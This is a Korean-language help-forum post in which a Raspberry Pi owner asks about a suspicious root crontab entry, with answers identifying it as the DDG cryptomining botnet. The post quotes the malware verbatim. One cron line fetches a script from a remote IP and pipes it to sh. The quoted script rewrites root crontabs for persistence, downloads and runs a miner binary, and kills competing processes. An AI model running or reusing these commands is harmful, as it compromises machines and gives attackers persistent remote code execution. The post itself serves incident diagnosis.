15 분마다 'xribfa4'를 실행하는 의심스러운 크론 탭 항목

내 Raspberry Pi의 루트 crontab 파일에 무언가를 추가하고 싶었고 의심스러운 것 같은 항목을 발견하여 Google에서 일부를 검색해도 아무것도 나타나지 않았습니다.

Crontab 항목 :

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

내용 http://103.219.112.66:8000/i.sh은 다음 과 같습니다.

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

내 Linux 지식은 제한적이지만 인도네시아 서버에서 바이너리를 다운로드하여 정기적으로 루트로 실행하는 것은 일반적인 것이 아닙니다.

이게 뭐야? 어떻게해야합니까?

DDG 마이닝 봇넷입니다.

1. RCE 취약점 악용
2. crontab 수정
3. 적절한 마이닝 프로그램 다운로드 (go로 작성)
4. 채굴 과정 시작

DDG : 데이터베이스 서버를 목표로하는 마이닝 봇넷

봇넷이 다른 봇넷의 인프라를 빌릴 때 SystemdMiner

U & L : AWS EC2 인스턴스에서 마인드 맬웨어를 어떻게 죽일 수 있습니까? (손상된 서버)

실제로 필요한 TCP 및 UDP 포트를 파악한 다음 라우터 방화벽의 다른 모든 포트를 차단하십시오. 아마도 , 그 crontab을 항목은 다시 나타나지 않습니다.

Shields Up! 을 사용하여 열려 있고 공개 된 포트를 확인할 수 있습니다 . grc.com의 기능 .